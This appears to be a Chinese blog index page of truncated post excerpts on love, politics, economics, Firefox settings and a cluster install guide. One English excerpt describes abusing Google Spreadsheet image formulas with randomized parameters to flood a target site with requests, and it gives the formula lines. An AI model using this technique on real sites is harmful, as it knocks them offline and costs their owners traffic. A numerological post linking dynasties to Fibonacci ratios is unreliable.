一场在纽约的演讲

今天,我来到这里发表演讲,纯属意外。首先,我想声明的是,我是以一个诗人和艺术家的身份、而不是以外界所议论的所谓组党先驱和反对党领袖的身份出现在这里并发表讲话。我在历史上曾经有过的所谓壮举和苦难,希望它们在我今后的所有讲话或写作中,只是作为一个遥远而模糊的背景。而凡是成为背景的东西,即使电闪雷鸣,波涛汹涌,也总是有着更为宁静的特征。

我不希望我过去的生活对任何人构成打搅。无论是过去的磨难和痛苦,以及八年与世隔绝的铁窗下的孤独,过去所遭遇的种种阴谋、陷阱、酷刑、谎言和暴力。我个人所遭遇的,我的朋友们所遭遇的,一个民族所遭遇的,乃至各个民族所遭遇的,我多么希望这一切仅仅只是我一个人的遭遇。我不希望我的遭遇哪怕是我的幸福对任何人构成打搅。但是如果我对历史上曾经帮助过我的人致以必要的感谢,这也算是一种打搅的话,那是不可避免的。

今天这个会议的主题是有关道 Continue reading

别向这个操蛋的世界轻易投降

我妈常常喜欢念叨:人家又不喜欢你,你干嘛还要去喜欢人家。以前我一直想不出什么话反驳,只好简单粗暴地回应:一边去,你一老娘儿们你懂什么你。

我见过很多人,换男女朋友比换内裤还勤快的那种自不必说,还有像我们宿舍的闷骚青年,追女生,人家不睬他,他郁闷一阵子,提枪掉马就直奔下一目标而去了。我在旁边看的目瞪口呆。你要问他,他保准振振有词:人家又不屌我,我喜欢她有什么用。是的,有什么用。然后还会反过头来劝我:没用的,我跟你说……这仿佛是如此的天经地义,如此的不证自明。

昨天,我仔细地想了想,终于想通了这个问题。其中的关键就在于,你究竟是喜欢一个人本身,还是喜欢一种预期,一种前景,喜欢一种未来对方有可能和你上床睡觉结婚生子的可能性?

这个年龄很多人都急吼吼地寻找另一半抱团取暖。要我说,其中有多少是真的喜欢对方本身,这很难说。我这么说可能一来打击面太广,二来没有调查取证,所以显得不那么令人信服。其实这很好判断,那就是扪心自问:换一个人行不行?

这样多少有点神经质。对大多数人来说,并不存在一个绝对不可替代的the one。否则的话,这个世界会麻烦许多。小的时候,小到我才第一次思考爱情这回事的时候,我就对一个问题百思不得其解:你喜欢一个人,而这个人在茫茫人海中又恰巧喜欢你,这是多么大的一个巧合啊!而幼小的我放眼望去,这个世界上充斥着不可胜数的一对对巧合。

要解释这样一件事,只能说明,在大多数人眼里,另一半绝不是不可替代的。而每一个个体的特质,很大程度上是相异的。换句话说,要追溯这种可替代性的载体,那可能就是每个个体作为伴侣所能为对方提供的“服务”了。

比如说,深夜陪你聊天,闲暇陪你娱乐,工作学习相互鼓励,人情冷暖相互慰藉,生理需要相互解决。然后买房结婚,构筑家庭,生儿育女,传宗接代。老了之后相互扶持,终了一生。这些都只是些伴侣给你带来的效用而已。这个过程中,肯定 Continue reading

人人都曾經有過一段虐戀

人人都有過一段不堪回首卻又總是不斷想起的虐戀。有的虐戀,是屬於年輕。兩隻刺蝟,不懂距離,害怕距離,直到把彼此之間的空氣全部擠出去,才覺得安全親近。結果,越愛越受傷。回頭想想,那種虐不過是皮肉傷而已,傷不到筋骨。只不過後遺症太過嚴重,學會閃躲,學會保留,也學會將五分演成九分。

後來的虐戀,大多根源於佔有欲與拯救欲。男人的控制欲望,女人的母性意識,都有可能變成一股癲狂的力量。而有些人,他們是黑洞,他們是深潭,你不斷地試驗,不斷地打破你的底線,一次又一次,仍然看不到回報和圓滿。那種深深的挫敗感,會把人變成更加輸紅了眼的賭徒,把所有能壓的賭注都壓上,只求贏一次,直到輸的徹底精光,輸到清醒無物了,才終於決定放手。那種感覺,九死一生,魂飛魄散。但經過這麼一遭,總算是踏實甘願了。

可再如何不堪回首,內心深處還是引以為傲。是啊,我原來曾那樣那樣愛過的。我也是那樣的付出過的,你以為我不懂愛嗎?你懂什麼,我曾經在大雨夜那樣等過一個人,我曾經那樣的嘔心瀝血過,我曾經為一個人千金散盡的啊。誰有什麼資格說我不懂愛。

人就是恁樣的奇怪,越虐越付出,越付出越覺得愛。好像愛與虐之間有一條大大的等號,假若太快樂太享受太多得到,那就只是被愛而不是愛。經年月久想起虐戀,仍是有那麼多的不解和不甘,渾然忘了自己曾怎樣的虐過他人。我們總是這樣,需要虐戀,以示愛的深,愛的高尚,愛的不顧一切。不當炮灰,就沒有資格成為愛情路上的英雄。

這樣想著,以後的我們都理直氣壯地吝嗇起來。不要怪我抱的不用力,我的力氣已經用盡。不要說我愛的不用心,我的心早就在某年某夜煙花般綻放,如今只剩一地碎屑。怪只怪,你遇到的是現在的我。

虐戀,是一段證明,一段自以為的涅磐,也是一個絕好的藉口。俗氣生活的藉口,浮生慰藉。沉湎低調的藉口,安全洞穴。那個傷害過你的人,漸漸變成一個生命符號,標在某條路的中央,告訴你,前方往下是通往成熟平和的康莊大道,沒有愛恨情仇,只有做一天人撞一天鐘。

可惜的是,好男人和好女人就這樣成了虐戀的犧牲品。這道理,就像越深的顏色越吸光一樣。炙熱總是要遇到深邃或者豔麗,才能被激發出來。你是好男人好女人,就活該被忽略被忽視,被不夠愛。因著這個原因,這時代的男人都怕自己太好,這時代的女人都向狐狸精取真經,好像不這樣不足以證明自己是歷盡千帆,可以承受得起情海波瀾了。

只是,段數越高,快樂越少。快樂來的越容易,它消失的亦越快。等待、克制、珍重得到的感情,總會更加的靜水流深。至於虐戀,忘了它吧。它的意義,一定不是用來做今後逃脫的藉口,而是證明人人確有那樣去愛的能量。你有,他有,我們都有。誰也不例外。

你看到的是招数,还是内功

鸠摩智上少林寺挑衅,使遍七十二绝技,方丈群僧无不骇然。这时,小和尚虚竹跑过来,只瞅了一眼,就说:“这位大师用的明明是小无相功嘛。”鸠摩智慌了。一般人看到的是招数,厉害的人看到的是内功。

有个本科读经济的学生考去地理学院读研究生,一开始根本没有老师愿意带,因为这家伙一点地理学基础都没有,一年之后,这家伙发的paper超过了所有本科地理出身的学生。然后就有地理学出身的学生向他取经,打开他的论文一看,根本学不来, Continue reading

人生如赌

人生如赌,输赢交织,忧喜转换,涨退更迭。微笑再美,亦难永恒;哭音再悲,终有尽头。你若跌落谷底,每一次攀爬都在往高处走;你若傲立波峰,稍有不慎就会向低处去。别让生命太平凡,云淡风轻虽好,身后却了无痕迹;莫使命运太激荡,波澜壮阔虽美,居久常易失方向。光阴不逮,功败有时,看开就好。

  不要轻信与依赖他人,唯一不抛弃你的,到最后只有你自己。不要轻言你的苦痛伤悲,真正关注你的没有几个,你的倾诉可能变成一堆笑料。不要轻易躲 Continue reading

一个男人谈如何选择婚姻

今天晚上,得知我最好的朋友离婚了。孩子才1岁,同样身为父亲的我感到难过,离婚对孩子来说影响太大。所以想劝劝还没结婚的兄弟对待婚姻再慎重一些。本来,我结婚也没几年,没资格以过来人的身份说这些。不过,至少我的婚姻很幸福,我也有把握延续这种幸福。我开这个帖的目的,就是希望有更多的人能把握自己的婚姻。就算我说的都是废话,如果能引起朋友们在婚前对婚姻多一些思考,就达到目的了。
每个人对婚姻的态度都是不同的,随便找个人凑合过日子的,找个女人帮自己生孩子的,找个过夜不收钱的,这些所谓的“婚姻”就不在讨论范围了,这里和大家讨论的,是高质量的婚姻。
什么是高质量的婚姻?每个人的理解都不一样,在我看来,婚姻的状态有很多种,但是让人舒服的婚姻,一定都是有爱的。所以,我给还没结婚的兄弟第一个忠告:如果想拥有幸福的婚姻,一定要相信爱情。
有人说,爱情是有保质期的。我说,有保质期的不叫爱情。那叫激情,激情夹杂的东西太多,性欲,感动,内疚,憧憬,有太多太多的杂质,这样的情感确实难以持久。何况,激情往往是精心呵护起来的,一旦丢失了精心呵护的动力,褪色太快。
  泡MM的时候,激情是最好的工具。然而面临结婚选择时,作为男人,一定要理

Continue reading

性瘾者:爱欲背后的孤独与寂寞

读山本文绪《31岁又怎样》时,里面有篇“禁欲”的小文,说的是一名女白领从16岁第一次有性经验到31岁间,性爱是她整个生活的重心,除了自己主动出击“轻而易举”就能吃到的男人,那些没什么兴趣竟也会因“不好意思拒绝”而上床的男人也数之不尽。女主坦言自己并非绝色美人,但身体却散发着魅惑男人的性吸引力,就算剪了一头超短发穿着蓝色粗布的工作服,也会被评价为“看上去更色情”。

对她来说,与男人做爱就像有瘾,谈个恋爱倒成了顺带。她坦言与其说是对性饥渴,不如说是自己对异性有皮肤接触饥渴。15年挥霍无度的欲望让她“吃”得太撑,才反应过来,自己过得多么孤独寂寞。

这世界上会有烟瘾、毒瘾、网瘾、游戏瘾,会不会有“性瘾”这种东西存在呢?性瘾究竟是一种什么样的瘾,它为何会让人如此沉沦?那些性瘾者 Continue reading

firefox 历史书签记录的相关介绍与设置

相关介绍
//书签和历史保存在places.sqlite中,places是FF3增加的管理历史和书签的系统,它可以实现相当复杂且灵活的历史查询,
//而且操作很方便,它可以保存favicon,还能对书签进行任意信息的描述,还提供了新的UI供用户管理,
//参考Places on the Mozilla wiki,
//Places存储在SQLite数据库文件中,接口是mozStorage,
//历史与会话的区别-江3,
//Firefox智能书签夹-江3,
//实时书签-RSS+Atom-江3,实时书签比书签更加复杂
//书签在线管理-江3,
//关于Places的全部官方docs,
//与Places.sqlite有关的扩展、软件:
//PlacesCleaner、Places Maintenance,
//Add Bookmark Here ²、删除重复书签BDC、修改书签图标BFC、书签自动排序ASB
//Speedyfox,可以压缩所有Sqlite数据库文件
//FavIcon Reloader,刷新places.sqlite中的书签图标

//书签
//扩展:Delete Bookmark Icons、 Places Maintenance、Vacuum Places Improved、SpeedyFox、
user_pref(“browser.bookmarks.max_backups”, 2);//最多自动备份?份书签,0即不自动备份
user_pref(“browser.places.smartBookmarksVersion”, 4);//关于智能书签夹? -1禁用;0 恢复;4 默认;
//user_pref(“browser.bookmarks.autoExportHTML”, false);//退出时自动备份书签到HTML文件?默认false,因FF3+已备份JSON至bookmarkbackups文件夹中,参考,Bug384370,
//历史

//user_pref(“places.history.enabled”,true);//记住我的浏览和下载历史?默认true;参考,为了隐私和减少places.sqlite 的碎片/体积,同时防御历史嗅探攻击,
//下面4个参数默认不存在:
//user_pref(“browser.history_expire_days”, 0);//历史记录?天(非负数) 参考,
//user_pref(“browser.history_expire_sites”, 0);//历史记录?个网站数(正整数) 参考,
//user_pref(“places.history.expiration.max_pages”, 0);//历史记录中保留最大独立URL数量(正整数) 参考,
//user_pref(“browser.history_expire_days_min”,0);//为了防止历史过早过期,历史记录最少保存?天(正整数)
user_pref(“browser.bookmarks.restore_default_bookmarks”, false);//安全模式时恢复默认书签?参考,
//在启动安全模式时,会显示对话框“重置火狐”,点击时就会改变该参数为true,并用默认的书签文件bookmarks.html替换现在的书签
//为了保护你现在的书签,这个参数应该始终为false,默认false;该参数属于临时性状态标记类参数

//图标
//这3个参数到底负责什么有点儿乱
//user_pref(“browser.chrome.site_icons”, true);//显示网站图标?当该值为false时,会覆盖参数 2, 3, and browser.chrome.image_icons.max_size,参考,
//user_pref(“browser.chrome.load_toolbar_icons”, 0);//显示书签菜单、书签栏上的图标?0 不显示;1 显示已经缓存的;2 始终显示;当该参数为0 时,优先级高于参数 1;参考,
//user_pref(“browser.chrome.favicons”, true);//显示地址栏、书签菜单、标签上的图标?前提参数 1 为true, 参考,参数优先级最高,当参数1为false时,就彻底禁用图标了

//书签可以按照多种标准排序,通过查看菜单或者点击列标题,下面的排序参数不光针对书签管理器,还包括侧边栏、书签栏
//下面一个是排序方式,一个是排序标准,你应该能区分吧
//user_pref(“browser.bookmarks.sort.direction”, “Natural”);//排序方式?参考,
//Natural 自然顺序A~Z; ascending 相反Z~A;
//user_pref(“browser.bookmarks.sort.resource”, “rdf:http://home.netscape.com/NC-rdf#Name”);//排序标准?参考,
//按名字,默认:rdf:http://home.netscape.com/NC-rdf#Name
//按URL:rdf:http://home.netscape.com/NC-rdf#URL
//按书签关键字:rdf:http://home.netscape.com/NC-rdf#ShortcutURL
//按描述:rdf:http://home.netscape.com/NC-rdf#Description
//按创建时间:rdf:http://home.netscape.com/NC-rdf#BookmarkAddDate
//按修改时间:rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate
//按最后访问时间:rdf:http://home.netscape.com/WEB-rdf#LastVisitDate
*
//FF3.6之前版本有效的参数

//FF23进一步增强了书签的价值,修改了书签夹图标,让当前的状态更加醒目
//但该页已存在与places.sqlite 中星号变为黄色,点击星号添加书签,点击倒三角弹出下拉菜单

流沙河:中国唯一最好的朋友是美国

各位朋友,我比在座各位朋友蠢长得多,我今年已经74岁了。我这个人谈不上什么“思想”;但是由于我的年龄比你们大,我曾经亲身经历的事比如抗日战争你们没有经历过,这就是我跟大家不同的地方。今天来,我只跟大家讲两件事情。

我 的家乡在今天的青白江区城乡镇,在那时金堂县的县城里边,一条好深的巷子叫槐树街,出去有一个庙子叫川祖庙。从我当小学生起,这个川祖庙就有一拨一拨的壮 丁进来集训,两三个月后就开赴前线去了。这都是我这个小学生亲眼见到的。这些壮丁苦得很,他们穿得稀烂,我没有看见任何强迫,全部是招派,而且都是自愿 的。

这些壮丁是怎样来的呢?当时的征兵政策,叫“三丁抽一,五丁抽二”——你有三弟兄必须要出一个去打仗,有五个要出两个。出了以后由国民政府(县政府)给“安家费”(用“黄谷”就是没有碾出来的米发放),所有壮丁的家属都领了的。

这 里面我所见到的百分之九十九点九九是自己去的,“拉壮丁”的事有没有?有,我亲自看见过一次,而且这一次的情况是:有个保长,他完成了任务又乱打主意,想 再拉一个木匠。那天木匠收了工从房子上下来,保长就把他拉了。但是拉了以后第二天就放了,为什么呢?因为这样子做不合法。由于当时负担壮丁的 Continue reading

Using Google to DDoS any website

Google uses its FeedFetcher crawler to cache anything that is put inside =image(“link”) in the spreadsheet.
For instance:
If we put =image(“http://example.com/image.jpg”) in one of the cells of Google spreadsheet, Google will send the FeedFetcher crawler to grab the image and cache it to display.

However, one can append random request parameter to the filename and tell FeedFetcher to crawl the same file multiple times. Say, for instance a website hosts a 10 mb file.pdf then pasting a list in the spreadsheet will cause Google’s crawler to fetch the same file 1000 times.

=image(“http://targetname/file.pdf?r=0”)
=image(“http://targetname/file.pdf?r=1”)
=image(“http://targetname/file.pdf?r=2”)
=image(“http://targetname/file.pdf?r=3”)

=image(“http://targetname/file.pdf?r=1000”)

Appending random parameter, each link is treated as different thus Google crawls it multiple times causing a loss of outbound traffic for the website owner. So anyone using a browser and opening just a few tabs on his PC can send huge HTTP GET flood to a web server.

Here, the attacker does not need a huge bandwidth at all. Attacker requests Google to put the image link in the spreadsheet, Google fetches 10 MB data from Continue reading

将泡妞进行到底

在这个操蛋的世界上,没有比漂亮妞儿更让人心花怒放的了,没有比谈情说爱更让人废寝忘食的了,没有比姑娘们的温柔乡、石榴裙更让人流连忘返的了。男人拼命挣钱,却愿意给心爱的姑娘随便花;男人在刀光剑影里穿梭,攻城掠地,是为了让姑娘们在疆域更辽阔、风景更优美的地方玩老鹰捉小鸡的游戏;男人戒烟戒酒戒网游戒夜不归宿戒长期出远门,好不容易挤出时间,却甘愿陪姑娘做最无聊的事情;男人在健身房里闷声苦练,强身健体,晚上好在心爱的姑娘身上多赖一会儿,毫无保留地消耗掉积攒的热量。

男人这一生,最光辉灿烂的功勋就是泡到好妞, Continue reading

天涯牛人对经济危机的预言

看着每年GDP8%——9%的增长和国内的欢欣鼓舞,心里是愤恨和悲哀,一个民族没有长远的目标与反省的勇气,总有一天要为自己的自大和狂妄付出代价:
  
中国经济的增长越来越依赖于进出口贸易,而国内的消费却是萎靡不振,总结中国改革开放以来经济发展的三大引擎,可以归结为三点:人口、资金、土地。下面我们从这三方面逐一分析。

一、人口,中国是世界上人口最多的国家,而农业人口占的比例最大,这些廉价的劳动力是中国产品竞争力的核心。广州、深圳一带的农民 Continue reading

远离楼市,现金为王

今天早晨微博上看到一个好玩的消息:楼市多军的旗帜、鼓吹楼市80万一平米的董藩教授,5折价格甩卖朝阳区一处商铺,理由是移民。

类似的消息近来越来越多,杭州最近多个楼盘直接降价4000元/平米,引发房闹砸售楼处。

越来越多的信息表明:10年疯狂的中国楼市将经历大变革,楼市崩盘的时机已经来临。

楼市资金链已近枯竭

支撑中国楼市的资金主要有以下几个来源:国际热钱、影子银行、银行贷款。目前,这些资金链都已经接近枯竭。

1、美国QE今年将退出,2015年年中将加息,全球热钱回流,至少将带走几万亿美元。
2、中央政府正在严查影子银行,2014年5月份,将至少有1万亿的信托资金面临违约风险。未来,违约的信托资金数量将会飙升。
3、余额宝等货币基金突起,将银行的利率直接提高到6%以上,银行放房贷几乎不赚钱。

总体来说,支撑房地产行业的资金链已经枯竭,楼市将陷入长期的萎靡。这个时候,中央政府是不是也会来一场2009年的四万亿来挽救楼市呢?

舍弃楼市 保住汇率

我认为,中央政府不会放水救楼市。中央政府之所以不会放水救楼市,其根源是要保住汇率。国际热钱已经开始从中国撤退,此时放水,只会让热钱套现更便利,接着就会疯狂涌出。而外汇储备能够动用的美元,超不过1万亿,根本就抵抗不住热钱的退出。一旦抵抗不住热钱退出,人民币将会大幅贬值。其后果将是没有外汇去购买石油、粮食,进而引发社会动荡。
最近几天,人民币汇率在没有任何征兆的情况下瞬时贬值0.17%。这可以看做是央行打击人民币升值预期的操作。

从国际经济形势来看,楼市和汇率,政府只能保住一样。所以,政府会毫不犹豫的舍弃楼市,保住汇率。作为代价,楼市这个蓄水池,将在资金链枯竭的过程中,被牢牢冻住。

远离楼市 现金为王

2014年,楼市将会坐上过山车,俯冲向下,而这一切,仅仅是一个开始。2015年,随着美元加息开始,更艰难的时刻才会真正到来。而在未来的几年中,政府将会舍弃房地产,保住汇率。至于能不能保住汇率,那就要看运气了。在这种经济形势下,我的建议就是:远离楼市、现金为王,准备过几年紧日子。

当楼市泡沫破灭,产业结构调整到位,中国经济的真正繁荣期将会到来。而这预计在3、4年之后到来。

Twister编译及安装

Twister编译及安装 [多节点方式]

注:该流程也适用单节点模式, 设置ip及工作节点的时候设置本节点即可.
1. Twister设置
1.1 设置Twister路径,编辑~/.bashrc [注: 最好是这个文件,本人也试过在.bash_profile, 但之后运行就出错了,不知道为什么!]

export TWISTER_HOME =/home/username/TWISTER

1.2 编辑Twster/bin/twister.properties

daemon_port=12500
pubsub_broker=ActiveMQ
data_dir=/home/lucktroy/twister-0.9/data
app_dir=/home/lucktroy/twister-0.9/apps
workers_per_daemon=8
nodes_file=/home/lucktroy/twister-0.9/bin/nodes
daemons_per_node=1

1.3 编辑Twsiter/bin/nodes, 添加工作节点

node02
node03

1.4 编辑Twister/bin/nb.properties [注:单节点模式]

#本人用的是node02做broker
broker_host = 10.10.10.2
broker_port = 3045
comm_type = niotcp

1.5 编辑Twister/bin/amq.properties [注:多节点模式]

uri=failover\:(tcp\://node03\:61616)

2. 下载ActiveMQ 5.4.2

把$ACTIVEMQ_HOME/activemq-all-X.X.X.jar 复制到 $TWISTER_HOME/lib/
3. 使用ant编译

[lucktroy@node01 twister-0.9]$ ant
Buildfile: build.xml

clean:
[delete] Deleting directory /home/lucktroy/twister-0.9/build

init:
[mkdir] Created dir: /home/lucktroy/twister-0.9/build

compile:
[javac] Compiling 107 source files to /home/lucktroy/twister-0.9/build

dist:
[mkdir] Created dir: /home/lucktroy/twister-0.9/dist/lib
[jar] Building jar: /home/lucktroy/twister-0.9/dist/lib/Twister-0.9.jar
[copy] Copying 1 file to /home/lucktroy/twister-0.9/lib

BUILD SUCCESSFUL
Total time: 4 seconds

4. 运行ActiveMQ, 这个时候终端一直会被该进程占用,因而下一步时需要再开启一个终端. [注: 高端用户可以用shell命令screen开启这个activemq,这样不必一直占用终端了!]

$ bin/activemq console
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /home/jbz hang/.activemqrc)

INFO: Invoke the following command to create a configuration file
bin/activemq setup [ /etc/default/activemq | /home/lucktroy/.activemqrc ]

INFO: Using java ‘/usr/bin/java’
INFO: Starting in foreground, this is just for debugging purposes (stop process by pressing CTRL+C)
Java Runtime: Sun Microsystems Inc. 1.6.0_24 /usr/lib/jvm/java-1.6.0-openjdk-1.6 .0.0.x86_64/jre
Heap sizes: current=251264k free=248639k max=251264k
JVM args: -Xms256M -Xmx256M -Dorg.apache.activemq.UseDedicatedTaskRunner=tru e -Djava.util.logging.config.file=logging.properties -Dcom.sun.management.jmxrem ote -Dactivemq.classpath=/home/lucktroy/apache-activemq-5.4.2/conf; -Dactivemq.ho me=/home/lucktroy/apache-activemq-5.4.2 -Dactivemq.base=/home/lucktroy/apache-acti vemq-5.4.2
ACTIVEMQ_HOME: /home/lucktroy/apache-activemq-5.4.2
ACTIVEMQ_BASE: /home/lucktroy/apache-activemq-5.4.2
Loading message broker from: xbean:activemq.xml
INFO | Refreshing org.apache.activemq.xbean.XBeanBrokerFactory$1@5d6d2633: star tup date [Fri Apr 05 10:48:34 CDT 2013]; root of context hierarchy
WARN | destroyApplicationContextOnStop parameter is deprecated, please use shut down hooks instead
INFO | PListStore:/home/lucktroy/apache-activemq-5.4.2/data/localhost/tmp_storag e started
INFO | Using Persistence Adapter: KahaDBPersistenceAdapter[/home/lucktroy/apache -activemq-5.4.2/data/kahadb]
INFO | KahaDB is version 3
INFO | Recovering from the journal …
INFO | Recovery replayed 1 operations from the journal in 0.012 seconds.
INFO | ActiveMQ 5.4.2 JMS Message Broker (localhost) is starting
INFO | For help or more information please see: http://activemq.apache.org/
INFO | Listening for connections at: tcp://node03.cluster:61616
INFO | Connector openwire Started
INFO | ActiveMQ JMS Message Broker (localhost, ID:node03.cluster-55179-13651769 16124-0:1) started
INFO | jetty-7.1.6.v20100715
INFO | ActiveMQ WebConsole initialized.
INFO | Initializing Spring FrameworkServlet ‘dispatcher’
INFO | ActiveMQ Console at http://0.0.0.0:8161/admin
INFO | Initializing Spring root WebApplicationContext
INFO | camel-osgi.jar/camel-spring-osgi.jar not detected in classpath
INFO | Apache Camel 2.4.0 (CamelContext: camel) is starting
INFO | JMX enabled. Using ManagedManagementStrategy.
INFO | Found 4 packages with 15 @Converter classes to load
INFO | Loaded 146 type converters in 0.509 seconds
INFO | Connector vm://localhost Started
INFO | Route: route1 started and consuming from: Endpoint[activemq://example.A]
INFO | Started 1 routes
INFO | Apache Camel 2.4.0 (CamelContext: camel) started in 1.275 seconds
INFO | Camel Console at http://0.0.0.0:8161/camel
INFO | ActiveMQ Web Demos at http://0.0.0.0:8161/demo
INFO | RESTful file access application at http://0.0.0.0:8161/fileserver
INFO | Started SelectChannelConnector@0.0.0.0:8161

5. 运行Twister

$ ./start_twister.sh
node02
/home/lucktroy/.bashrc: line 10: /act/Modules/3.2.6/init/bash: No such file or directory
node03
Apr 5, 2013 10:48:55 AM org.apache.activemq.transport.failover.FailoverTransport doReconnect
INFO: Successfully connected to tcp://node03:61616
0 [main] INFO cgl.imr.worker.DaemonWorker – Daemon no: 0 started with 8 workers.
/home/lucktroy/.bashrc: line 10: /act/Modules/3.2.6/init/bash: No such file or directory
Apr 5, 2013 10:48:56 AM org.apache.activemq.transport.failover.FailoverTransport doReconnect
INFO: Successfully connected to tcp://node03:61616
2 [main] INFO cgl.imr.worker.DaemonWorker – Daemon no: 1 started with 8 workers.

6. 退出Twister

$ ./stop_twister.sh
node02
0 [main] DEBUG cgl.imr.script.StopDaemons – Stopping daemon on port number: 12500
7 [main] DEBUG cgl.imr.script.StopDaemons – Finished sending the term signal to daemons in host: node02
node03
0 [main] DEBUG cgl.imr.script.StopDaemons – Stopping daemon on port number: 12501
6 [main] DEBUG cgl.imr.script.StopDaemons – Finished sending the term signal to daemons in host: node03

7. 退出ActiveMQ, 进入步骤4的终端, Ctrl+C即可退出,也可以使用暴力kill~~

^C INFO | ActiveMQ Message Broker (localhost, ID:node03.cluster-55179-1365176916
INFO | ActiveMQ Message Broker (localhost, ID:node03.cluster-55179-136517691612
INFO | Connector openwire Stopped
INFO | Connector vm://localhost Stopped
INFO | PListStore:/home/jbzhang/apache-activemq-5.4.2/data/localhost/tmp_storag
INFO | Stopping async queue tasks
INFO | Stopping async topic tasks
INFO | Stopped KahaDB
INFO | ActiveMQ JMS Message Broker (localhost, ID:node03.cluster-55179-13651769
INFO | Connector openwire Stopped
INFO | ActiveMQ JMS Message Broker (localhost, ID:node03.cluster-55179-13651769

错误分析:
1. 运行中遇到如下错误:

$ Error getting System Properties:
java.lang.StringIndexOutOfBoundsException: String index out of range:
-1
Exception in thread “main” java.lang.NullPointerException
at cgl.narada.util.SystemInit.init(SystemInit.java:133)
at cgl.narada.node.BrokerNode.(BrokerNode.java:146)
at cgl.narada.node.BrokerNode.main(BrokerNode.java:926)

方案:添加unset module 到你的 ~/.bash_profile, 如下:

echo “unset module”>>~/.bash_profile

你做我备胎行不,行啊

有备胎的女人不一定是贱人,犹如你不会等家里更换宽带的时候让自己断网一样,承认人的自私性就行了,别忘道德上扯,就犹如男人总是说喜欢温柔善良的,其实也许那个人就从没拥有过美女在旁

男女间的底线在网络的连接下不断在扯底,更有很多男人大声的对女人说着,把孩子生下来吧,我就当是我的。相对的就有男人骄傲的宣布,我JB一甩,怀孕五湖四海,这样看来好像就没有普通的男女了,都是极端。

如果你问我,一个我喜欢的女人来找我做备胎,我怎么做,我可以非常直接的说,没事,就让我当备胎吧,我的口号是,跟有缘人做快乐事,别问是劫是缘。不要追求永不分手的恋爱,也不要追求非你不可的感情,太极端,也太绝情了,你太绝对后,感情就不再了。

以前我也会觉得如果不跟某人在一起了,生活就没意思了,后来发现,有没有谁生活都一样。

多年后再见到某人,我还是可以说,你对我来说是很重要的人,回忆起大学时候,大部分记忆都是有关于你的,不管你对我的感情是怎么样的,我对你的感情在当时来说非常浓烈,以及我坦白的说了我以前的所有的心态,毫无保留,我觉得让女人知道一个人曾经那么喜欢她是好事,起码是一件高兴事。

为什么我会如此坦白,因为我现在身边的女人比以前的更好,我也比以前更好,自信让我可以如此坦白,有些事能做不能说,说了就是王八蛋。如果我现在身边的女人比以前的还差的话,我什么都不会说,因为我心中有深深的忧伤。

王朔:我看大众文化港台文化及其他

20年前,我们提到香港经常说它是”文化沙漠”,这个说法在很长时间内使我们面对那个资本主义城市发达的经济和令人羡慕的生活水平多少能保持一点心理平衡。那个时候香港人的形象在我眼里是喧闹和艳俗的。我在广州、汕头机场曾亲眼看到他们一飞一飞机地到达,花花绿绿地下来,人人穿着喇叭裤,戴着金戒指和太阳镜,手提录音机和大包小包的尼龙衣服,都是准备赠送大陆亲友的,随机同到的还有他们托运的无数彩色电视机,而那时汕头除了党政军机关电影院路灯其他地方一律没电,这些电视机录音机第二天便都高价卖给了北方来的倒爷。他们似乎人人都是财主,住满广州汕头仅有的几座酒店和华侨旅行社,每人进出都带着一大堆衣衫槛楼面带菜色的亲友团,一吃饭就开好几桌。我在电梯间经常听到他们认识不认识的互相大声抱怨国内亲戚的贪婪,国内酒店的服务差,有蚊子,想吃的东西吃不到。那时我还不太能分辨香港人和东南亚各国华侨的区别,现在想来那也不全是香港人,也有马来西亚、印尼和菲律宾等地的华人。
随着他们的到来,城市中出现了餐厅中的伴宴演唱、的士、出售二手服装的摊贩市场和妓女,今天已成为我们生活方式或叫消费模式的那些商业活动在最初就是带着深深的香港烙印进来的。

1 那时我不知道这也叫文化,餐厅中的伴宴演唱会发展到卡拉0K,酒吧乐队;的士会造成广播电台专为有车一族播放流行音乐;摊贩市场除了卖衣服也卖流行杂志盗版光盘和盗版软件;妓女,直接造就了歌舞厅夜总会桑拿室洗头房洗脚屋这些新兴娱乐产业的繁荣,更重要的是为流行小报地摊刊物乃至时装影视剧提供了耸人听闻和缠绵伤感的永远话题。
当时我们的文化概念是不包括大众文化或叫消费文化的,也没有娱乐这个词,一提娱乐好像是下下棋,打打扑克,单位搞个舞会,自己跟自己找点乐儿。当时右派作家咸鱼翻身,争当”重放的鲜花”;知青作家头角峥嵘,排着队上场;谢晋的电 Continue reading

40亿倍的疯狂游戏 比特币到底是什么

“比特币”这一名词近来突然蹿红,成为继“中国大妈抢黄金”之后的又一个公众金融热点。众多网友纷纷悔恨真是“不知道,看不起,看不懂,来不及”呀!

当然,有很多人只是听说了这个名词,并不了解这是什么奇特而复杂的高科技新概念,迄今网上也没有几篇文章能把比特币的实质介绍清楚。在此,由我们来介绍:

众所周知,货币作为人类社会的重要发明之一,自出现以来,曾有过许多不同的实现形式,比如早期的贝壳、粮食等固定等价物的第一代货币,到后来的 金、银等贵金属第二代货币,再到政府发行的铜钱、纸钞等政府信用货币,一直沿用到今天,互联网时代也只不过让其实现了电子记账化。一个如此重要且屡经变化 的东西使人想到的一个显而易见的问题就是:它的未来会是怎样的?

哈耶克(Friedrich von Hayek,1899~1992),知名经济学家和政治哲学家,新自由主义的代表人物之一,1974年诺贝尔经济学奖获得者,晚年写了人生中的最后一本经济学专著:《货币的非国家化》。

他在书中颠覆了正统的货币制度观念:既然在一般商品、服务市场上自由竞争最有效率,那为什么不能在货币领域引入自由竞争?哈耶克提出了一个革命 性建议:废除中央银行制度,允许私人发行货币,并自由竞争,这个竞争过程将会发现最好的货币。本书出版后在西方引起强烈反响,由此引发的争论至今没有结束。
Continue reading

中国历史朝代间的斐波那契关系

之前,对中国历史进程的波浪排列做过分析,现在,对中国历史朝代表又做了更为深入的分析,发现了其中的数学奥秘――中国历史朝代间的斐波那契关系

太复杂、太精密了,只能以排列组合的方式列出:

东周/周=514年/809年=0.635→0.618(斐波那契比率)

周/春秋战国=809年/501年=1.615→1.618(斐波那契比率)

战国/周=182年/809年=0.225→0.236(斐波那契比率)

周/东汉、北朝、西夏=809年/195年=4.149→4.236(斐波那契比率)

(东汉=北朝=西夏=195年)

晋/周=155年/809年=0.192→0.191(斐波那契比率)

周/(南朝+北朝)=809年/(169年+195年)=2.223→2.236(斐波那契比率)

宋/周=319年/809年=0.394→0.382(斐波那契比率)

南宋/周=152年/809年=0.188→0.191(斐波那契比率)

Continue reading

